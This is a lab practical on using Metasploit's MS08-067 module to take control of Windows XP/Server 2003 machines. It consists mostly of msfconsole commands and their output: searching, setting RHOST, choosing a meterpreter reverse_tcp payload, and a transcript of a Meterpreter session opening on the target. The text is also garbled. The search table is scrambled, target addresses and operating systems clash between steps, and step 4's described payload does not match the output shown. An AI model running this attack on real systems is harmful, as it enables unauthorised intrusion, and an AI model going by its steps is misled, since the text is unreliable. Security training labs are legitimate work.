

Practical 4: Hacking Windows Server 2003 with MS08_067 exploit

Description: In this you will learn how to exploit the ms08_067 vulnerability present in the windows xp, server 2003 machines, and taking full administrative control over the target machine in console mode and graphical mode with different payloads.

Prerequisites: The attacker system should be windows xp or server 2003

Step 1: Execute following commands in terminal to start the Metasploit framework

- Command: service postgresql start
- Command: msfconsole
- or simply click on Metasploit Framework icon in dock

Step 2: Search for exploit ms08_067 using the search command

- search <Exploit code>

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[user@parrot]~$msfconsole -q
[msf] (Jobs:0 Agents:0) >> search ms08_067

Matching Modules
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#  Name
re Date Rank Check Description Disclos
-----+-----+-----+-----+-----+-----+
28      0   exploit/windows/smb/ms08_067_netapi 2008-10
ruption  great Yes   MS08-067 Microsoft Server Service Relative Path Stack Co
ress1  1   \_ target: Automatic Targeting .
ss1  2   \_ target: Windows 2000 Universal .
ass1  3   \_ target: Windows XP SP0/SP1 Universal .
ss1  4   \_ target: Windows 2003 SP0 Universal .
iss1 5   \_ target: Windows XP SP2 English (AlwaysOn NX) .
```

Step 3: To configure exploit, enter the below command

- use <Exploit path>

```
[msf] (Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

- Verify exploit options using show options command; it is observed that we need to set RHOST

```
[msf] (Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> show options
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Module options (exploit/windows/smb/ms08_067_netapi):
Name      Current Setting  Required  Description
----      -----          -----      -----
RHOSTS                yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      445            yes        The SMB service port (TCP)
SMBPIPE    BROWSER        yes        The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
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EXITFUNC  thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
```

- Execute set RHOST to set RHOST value.

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[msf] (Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> set RHOST 10.0.2.8
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
RHOST => 10.0.2.8
```

Step 4: Choose a suitable payload by executing show payloads command and set payload using set PAYLOAD windows/meterpreter/reverse_tcp_allports command and verify payload options

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.0.11:6879
[*] 192.168.0.18:445 - Automatically detecting the target...
[*] 192.168.0.18:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.0.18:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.0.18:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 192.168.0.18
[*] Meterpreter session 1 opened (192.168.0.11:6879 -> 192.168.0.18:1043) at 2020-10-09 11:23:39 +0100

meterpreter > sysinfo
Computer       : WINXP
OS             : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture   : x86
System Language: en_US
Domain        : WORKGROUP
Logged On Users: 2
Meterpreter    : x86/windows
meterpreter > 
```